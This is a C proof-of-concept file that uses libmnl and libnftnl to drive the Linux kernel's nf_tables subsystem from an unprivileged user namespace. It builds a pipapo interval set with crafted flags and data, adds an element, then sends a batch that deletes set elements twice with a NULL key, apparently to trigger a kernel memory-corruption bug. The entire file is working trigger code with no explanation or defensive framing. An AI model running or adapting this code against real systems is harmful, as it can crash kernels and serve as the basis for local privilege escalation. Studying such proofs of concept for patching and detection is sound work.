#define _GNU_SOURCE 1
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <stddef.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <errno.h>
#include <sys/mman.h>
#include <sched.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/prctl.h>
#include <wait.h>
#include <linux/limits.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>

#include <libmnl/libmnl.h>
#include <libnftnl/table.h>
#include <libnftnl/chain.h>
#include <libnftnl/set.h>
#include <libnftnl/rule.h>
#include <libnftnl/expr.h>
#include <libnftnl/object.h>

#define BUF_SIZ 8192
char buf[BUF_SIZ];

struct mnl_socket *setup_env() {
    struct mnl_socket *nl;
    int opt = 1;

    if (unshare(CLONE_NEWUSER | CLONE_NEWNET)) {
        perror("unshare");
        exit(EXIT_FAILURE);
    }

    nl = mnl_socket_open(NETLINK_NETFILTER);
    if (nl == NULL) {
        perror("mnl_socket_open");
        exit(EXIT_FAILURE);
    }

    if (mnl_socket_setsockopt(nl, NETLINK_CAP_ACK, &opt, sizeof(opt)) < 0) {
        perror("mnl_socket_setsockopt");
        exit(EXIT_FAILURE);
    }

    if (mnl_socket_setsockopt(nl, NETLINK_EXT_ACK, &opt, sizeof(opt)) < 0) {
        perror("mnl_socket_setsockopt");
        exit(EXIT_FAILURE);
    }

    if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
        perror("mnl_socket_bind");
        exit(EXIT_FAILURE);
    }
    
    return nl;
}

void newtable(struct mnl_nlmsg_batch *batch, int seq, char *name) {
    struct nftnl_table *t;
    struct nlmsghdr *nlh;

    t = nftnl_table_alloc();

    nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, NFPROTO_IPV4);
    nftnl_table_set_u32(t, NFTNL_TABLE_FLAGS, NFT_TABLE_F_DORMANT);
    nftnl_table_set_str(t, NFTNL_TABLE_NAME, name);

    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
                    NFT_MSG_NEWTABLE, NFPROTO_IPV4,
                    NLM_F_CREATE | NLM_F_ACK, seq++);
    nftnl_table_nlmsg_build_payload(nlh, t);
    nftnl_table_free(t);
    mnl_nlmsg_batch_next(batch);
}

void newset(struct mnl_nlmsg_batch *batch, int seq, char *table_name, char *set_name, uint32_t klen, uint32_t flags, uint32_t id, uint32_t policy, bool is_pipapo) {
    struct nftnl_set *s;
    struct nlmsghdr *nlh;

    s = nftnl_set_alloc();
	if (s == NULL) {
		perror("OOM");
        exit(EXIT_FAILURE);
	}

    nftnl_set_set_u32(s, NFTNL_SET_FAMILY, NFPROTO_IPV4);
    nftnl_set_set_str(s, NFTNL_SET_TABLE, table_name);
	nftnl_set_set_str(s, NFTNL_SET_NAME, set_name);
	nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, klen);
    nftnl_set_set_u32(s, NFTNL_SET_ID, id); // set must have an ID
    if (flags) {
        nftnl_set_set_u32(s, NFTNL_SET_FLAGS, flags);
        if (flags & NFT_SET_OBJECT)
            nftnl_set_set_u32(s, NFTNL_SET_OBJ_TYPE, NFT_OBJECT_COUNTER);
    }
    if (policy)
        nftnl_set_set_u32(s, NFTNL_SET_POLICY, policy);
    if (is_pipapo)
        nftnl_set_set_data(s, 16, &"\x10\x10\x10\x10", 4);

    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
				    NFT_MSG_NEWSET, NFPROTO_IPV4,
				    NLM_F_CREATE | NLM_F_ACK, seq++);
    nftnl_set_nlmsg_build_payload(nlh, s);
    nftnl_set_free(s);
	mnl_nlmsg_batch_next(batch);
}

void newset_pipapo(struct mnl_nlmsg_batch *batch, int seq, char *table_name, char *set_name, uint32_t klen, uint32_t id) {
    newset(batch, seq, table_name, set_name, klen, NFT_SET_INTERVAL|0x80, id, 0, true);
}

void newsetelem(struct mnl_nlmsg_batch *batch, int seq, char *table_name, char *set_name, uint32_t set_id, void *key, uint32_t len_key, void *obj_name, uint32_t udata_size) {
    struct nftnl_set *s;
    struct nftnl_set_elem *se;
    struct nlmsghdr *nlh;

    s = nftnl_set_alloc();
    if (s == NULL) {
		perror("OOM");
        exit(EXIT_FAILURE);
	}

    nftnl_set_set_u32(s, NFTNL_SET_FAMILY, NFPROTO_IPV4);
    nftnl_set_set_str(s, NFTNL_SET_TABLE, table_name);
    if (set_name)
        nftnl_set_set_str(s, NFTNL_SET_NAME, set_name);
    else
        nftnl_set_set_u32(s, NFTNL_SET_ID, set_id);

    se = nftnl_set_elem_alloc();
    if (se == NULL) {
		perror("OOM");
        exit(EXIT_FAILURE);
	}

    nftnl_set_elem_set(se, NFTNL_SET_ELEM_KEY, key, len_key);
    if (obj_name)
        nftnl_set_elem_set_str(se, NFTNL_SET_ELEM_OBJREF, obj_name);
    if (udata_size) {
        void *buf;

        buf = malloc(udata_size);
        nftnl_set_elem_set(se, NFTNL_SET_ELEM_USERDATA, buf, udata_size);
        free(buf);
    }
        

    nftnl_set_elem_add(s, se);

    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWSETELEM, NFPROTO_IPV4,
        NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK, seq++);
    nftnl_set_elems_nlmsg_build_payload(nlh, s);
    mnl_nlmsg_batch_next(batch);    
}

void delsetelem(struct mnl_nlmsg_batch *batch, int seq, char *table_name, char *set_name, void *key, uint32_t len_key) {
    struct nftnl_set *s;
    struct nftnl_set_elem *se;
    struct nlmsghdr *nlh;

    s = nftnl_set_alloc();
    if (s == NULL) {
		perror("OOM");
        exit(EXIT_FAILURE);
	}

    nftnl_set_set_u32(s, NFTNL_SET_FAMILY, NFPROTO_IPV4);
    nftnl_set_set_str(s, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(s, NFTNL_SET_NAME, set_name);

    if (key) {
        se = nftnl_set_elem_alloc();
        if (se == NULL) {
            perror("OOM");
            exit(EXIT_FAILURE);
        }

        nftnl_set_elem_set(se, NFTNL_SET_ELEM_KEY, key, len_key);

        nftnl_set_elem_add(s, se);
    }

    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
        NFT_MSG_DELSETELEM, NFPROTO_IPV4, NLM_F_ACK, seq++);
    nftnl_set_elems_nlmsg_build_payload(nlh, s);
    mnl_nlmsg_batch_next(batch);    
}

void poc()
{
    struct mnl_socket *nl;
    struct nlmsghdr *nlh;
    uint32_t portid, seq, start_seq, end_seq;
    struct mnl_nlmsg_batch *batch;
    int ret;
    uint64_t handle = 0;
    char key[64];

    nl = setup_env();
    
    portid = mnl_socket_get_portid(nl);
    seq = time(NULL);

// ------------------------------------------------------------------------------

    batch = mnl_nlmsg_batch_start(buf, sizeof(buf));

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

// ------------------------------------------------------------------------------

    start_seq = seq;
    newtable(batch, seq++, "poc_table");
    newset_pipapo(batch, seq++, "poc_table", "poc_set", sizeof(key), 0);
    newsetelem(batch, seq++, "poc_table", "poc_set", 0, &key, sizeof(key), NULL, 0);
    end_seq = seq;

// ------------------------------------------------------------------------------

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                  mnl_nlmsg_batch_size(batch)) < 0) {
        perror("mnl_socket_send");
        exit(EXIT_FAILURE);
    }

    mnl_nlmsg_batch_stop(batch);

// ------------------------------------------------------------------------------

    batch = mnl_nlmsg_batch_start(buf, sizeof(buf));

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

// ------------------------------------------------------------------------------

    start_seq = seq;
    delsetelem(batch, seq++, "poc_table", "poc_set", NULL, sizeof(key));
    delsetelem(batch, seq++, "poc_table", "poc_set", NULL, sizeof(key));
    end_seq = seq;

// ------------------------------------------------------------------------------

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                  mnl_nlmsg_batch_size(batch)) < 0) {
        perror("mnl_socket_send");
        exit(EXIT_FAILURE);
    }

    mnl_nlmsg_batch_stop(batch);

// ------------------------------------------------------------------------------

    mnl_socket_close(nl);

    return;
}

int main() {
    poc();

    return 0;
}